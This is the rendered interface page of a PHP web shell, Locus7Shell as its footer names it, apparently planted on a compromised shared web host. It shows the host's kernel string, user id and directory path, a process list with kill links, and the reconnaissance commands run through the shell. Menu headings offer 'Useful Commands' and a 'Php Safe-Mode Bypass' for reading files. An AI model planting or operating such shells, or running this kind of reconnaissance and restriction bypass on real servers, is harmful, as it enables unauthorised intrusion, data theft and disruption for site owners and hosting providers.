![]() | |
---|---|
Software: Apache. PHP/5.4.45 uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue uid=243112(mycochar) gid=100(users) groups=100(users) Safe-mode: OFF (not secure) /home/mycochar/www/image/photo/go/src/cmd/vendor/golang.org/x/tools/ drwxr-xr-x |
Processes: | |||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | |
mycochar | 91250 | 1.0 | 0.0 | 1146020 | 23484 | ? | S | 00:28 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 91261 | 0.5 | 0.0 | 1146020 | 23484 | ? | S | 00:28 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 91258 | 1.0 | 0.0 | 1147048 | 24088 | ? | S | 00:28 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 91257 | 0.5 | 0.0 | 1147048 | 24060 | ? | S | 00:28 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 91253 | 1.0 | 0.0 | 1146020 | 23484 | ? | S | 00:28 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 91254 | 0.5 | 0.0 | 1146020 | 23484 | ? | S | 00:28 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 91262 | 1.5 | 0.0 | 1146532 | 24028 | ? | S | 00:28 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 91263 | 2.5 | 0.0 | 1147048 | 24268 | ? | S | 00:28 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 91601 | 0.0 | 0.0 | 3496 | 2488 | ? | S | 00:28 | 0:00 | sh -c (ps -aux)2>&1 | KILL |
mycochar | 91603 | 0.0 | 0.0 | 2960 | 1756 | ? | R | 00:28 | 0:00 | ps -aux | KILL |
mycochar | 91586 | 0.0 | 0.0 | 2744 | 1572 | ? | S | 00:28 | 0:00 | grep version | KILL |
mycochar | 91585 | 0.0 | 0.0 | 2328 | 1572 | ? | R | 00:28 | 0:00 | sysctl -a | KILL |
mycochar | 91581 | 0.0 | 0.0 | 3496 | 2516 | ? | S | 00:28 | 0:00 | sh -c (sysctl -a | grep version)2>&1 | KILL |
mycochar | 91584 | 0.0 | 0.0 | 3496 | 192 | ? | S | 00:28 | 0:00 | sh -c (sysctl -a | grep version)2>&1 | KILL |
Useful Commands
|
Php Safe-Mode Bypass (Read Files)
|
--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0121 ]-- |